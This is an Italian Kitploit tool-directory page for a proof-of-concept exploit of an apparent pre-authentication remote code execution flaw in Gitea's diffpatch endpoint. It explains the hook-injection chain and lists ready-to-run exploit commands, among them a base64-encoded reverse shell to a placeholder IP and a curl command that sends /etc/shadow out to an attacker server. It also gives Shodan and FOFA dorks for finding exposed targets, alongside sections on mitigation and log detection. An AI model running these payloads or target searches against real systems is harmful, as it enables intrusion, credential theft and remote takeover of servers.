Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-60004-POC — CVE-2026-60004 Exploit RCE pre-autenticazione — Gitea <= 1.27.0 iniezione di hook git diffpatch (CVSS 9.8) | Kitploit
Strumenti/GitHubGitHub/imbas007/cve-2026-60004-poc
RicognizioneScanner di VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingRed TeamingSviluppo Payload
GitHubimbas007/cve-2026-60004-poc

CVE-2026-60004-POC

CVE-2026-60004 Exploit RCE pre-autenticazione — Gitea <= 1.27.0 iniezione di hook git diffpatch (CVSS 9.8)

Vedi Repository
11441 mese faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-60004 — Esecuzione remota di codice in Gitea senza autenticazione (CVSS 9.8)

root@kitploit:~
┌──────────────────────────────────────────────────────────────┐
│  CVE-2026-60004  │  Gitea Pre-Auth RCE  │  CVSS 9.8 (CRIT)   │
│  diffpatch → git hook injection  │  v1.17–1.27.0 affected    │
└──────────────────────────────────────────────────────────────┘

📋 Panoramica

AttributoDettaglio
ID CVECVE-2026-60004
Punteggio CVSS9.8 (Critico)
CWECWE-94 (Iniezione di codice)
Versioni vulnerabiliGitea dalla 1.17 alla 1.27.0
Versione correttaGitea 1.27.1 (rilasciata il 27 luglio 2026)
Endpoint vulnerabilePOST /api/v1/repos/{owner}/{repo}/diffpatch
Scoperto daShai Rod (NightRang3r)
Punteggio EPSS0.95 (95% di probabilità di sfruttamento)

🔬 Dettagli della vulnerabilità

La vulnerabilità sfrutta il modo in cui l'endpoint API diffpatch di Gitea elabora le patch Git fornite dall'utente:

  1. Trappola del clone bare — L'endpoint crea un clone temporaneo bare (senza working tree), il che significa che la sua directory radice è $GIT_DIR.

  2. Elaborazione della patch — git apply viene invocato con i flag: --index, --recount, --cached, --binary e (con Git ≥ 2.32) -3 per il fallback della merge a tre vie.

  3. Collisione add/add — Inviando due volte la stessa patch dannosa, l'attaccante innesca un conflitto add/add. Il fallback a tre vie di Git scrive su disco il percorso del file indicato nella patch, aggirando la restrizione --cached.

  4. Iniezione di hook — L'attaccante costruisce la patch in modo che il percorso del file sia hooks/post-index-change. Poiché il clone è bare, il file finisce direttamente nella directory hooks di Git.

  5. Esecuzione del codice — Quando Git aggiorna l'indice, esegue automaticamente l'hook post-index-change, lanciando i comandi shell dell'attaccante con .

Diagramma della catena di exploit

root@kitploit:~
Attacker                              Gitea Server
   │                                      │
   ├─ POST /user/sign_up ────────────────►│  Register new user
   │                                      │
   ├─ POST /api/v1/user/repos ───────────►│  Create private repo (auto-init)
   │                                      │
   ├─ GET /api/v1/repos/.../branches ────►│  Get commit SHA
   │                                      │
   ├─ POST /api/v1/repos/.../diffpatch ──►│  1st patch: plant hook
   │                                      │  Git creates bare clone
   │                                      │  Applies patch (--cached)
   │                                      │
   ├─ POST /api/v1/repos/.../diffpatch ──►│  2nd patch: SAME PATCH
   │   (same exact patch!)                │  ADD/ADD COLLISION!
   │                                      │  Git -3 fallback writes to disk
   │                                      │  hooks/post-index-change created
   │                                      │  Git fires post-index-change hook!
   │                                      │  ┌─ Command executes ─┐
   │                                      │  │ reads /etc/passwd  │
   │                                      │  │ stores in git blob │
   │                                      │  │ creates rce-proof  │
   │                                      │  │ branch             │
   │                                      │  └────────────────────┘
   │                                      │
   ├─ GET /api/v1/repos/.../raw/proof ───►│  Retrieve output
   │◄─────────────────────────────────────┤  /etc/passwd contents
   │                                      │

🚀 Avvio rapido

PoC Python (cve-2026-60004-poc.py)

root@kitploit:~
# Install dependencies (uses stdlib only — no pip needed!)
# Python 3.7+ required

# Quick one-liner
python3 cve-2026-60004-poc.py --url http://target --cmd "id"

# Mode 1: Full-Auto (register + create + exploit + retrieve)
python3 cve-2026-60004-poc.py --url http://target:3000 --mode full-auto

# Mode 2: Semi-Auto (existing credentials)
python3 cve-2026-60004-poc.py --url http://target:3000 --mode semi-auto \
    --user myuser --pw 'MyPass123!'

# Mode 3: Manual (existing user + repo)
python3 cve-2026-60004-poc.py --url http://target:3000 --mode manual \
    --user myuser --pw 'MyPass123!' --repo existing-repo

# Mode 4: Check Only (non-intrusive detection)
python3 cve-2026-60004-poc.py --url http://target:3000 --mode check
image

Comandi personalizzati

root@kitploit:~
# Execute custom command
python3 cve-2026-60004-poc.py --url http://target:3000 --mode full-auto \
    --cmd "whoami; id; env"

# Reverse shell (base64 encoded)
PAYLOAD=$(echo -n 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1' | base64)
python3 cve-2026-60004-poc.py --url http://target:3000 --mode full-auto \
    --cmd "echo $PAYLOAD | base64 -d | bash"

# Exfiltrate data via curl
python3 cve-2026-60004-poc.py --url http://target:3000 --mode full-auto \
    --cmd "curl http://your-server/$(cat /etc/shadow | base64 -w0)"

Template Nuclei

root@kitploit:~
# Run against a single target
nuclei -t CVE-2026-60004.yaml -u http://target:3000

# Run against multiple targets
nuclei -t CVE-2026-60004.yaml -l targets.txt -o results.txt

# With debugging output
nuclei -t CVE-2026-60004.yaml -u http://target:3000 -debug -v

🛡️ Mitigazione

Azioni immediate

  1. Aggiorna Gitea alla versione 1.27.1 o successiva:

    root@kitploit:~
    # Docker
    docker pull gitea/gitea:1.27.1
    # Binary
    wget https://dl.gitea.com/gitea/1.27.1/gitea-1.27.1-linux-amd64
    
  2. Disabilita la registrazione aperta (riduce la superficie d'attacco):

    root@kitploit:~
    # app.ini
    [service]
    DISABLE_REGISTRATION = true
    
  3. Esegui Gitea con un account di servizio con privilegi minimi

  4. Monitora le richieste POST ripetute all'endpoint diffpatch

Query di rilevamento

root@kitploit:~
# Search for diffpatch abuse in Gitea logs
grep -E "POST.*diffpatch" /var/lib/gitea/log/gitea.log

# Check for suspicious repo creation + immediate diffpatch use
grep -E "(CreateRepository|diffpatch)" /var/lib/gitea/log/gitea.log

🔍 Dork Shodan / FOFA

root@kitploit:~
# Shodan
http.title:"Gitea"
http.favicon.hash:5247710

# FOFA
app="Gitea"
title="Gitea"

# Censys
services.software.product:"Gitea"

📚 Riferimenti

  • Avviso di sicurezza GitHub (GHSA-rcr6-4jqh-j84m)
  • Repository PoC EQSTLab
  • Scheda NVD
  • Template Nuclei di ProjectDiscovery
  • Note di rilascio di Gitea 1.27.1

⚠️ Disclaimer

Questo strumento è fornito esclusivamente a scopo educativo e per test di sicurezza autorizzati. Usalo solo contro sistemi di tua proprietà o per i quali disponi di un'esplicita autorizzazione scritta a effettuare test. L'accesso non autorizzato ai sistemi informatici è illegale e può violare:

  • Computer Fraud and Abuse Act (CFAA) — Stati Uniti
  • Computer Misuse Act 1990 — Regno Unito
  • Leggi simili in altre giurisdizioni

L'autore non si assume alcuna responsabilità per l'uso improprio o per i danni causati da questo strumento.

📄 Licenza

Licenza MIT — consulta il repository EQSTLab per i dettagli.

Scarica lo strumento
l'account di servizio di Gitea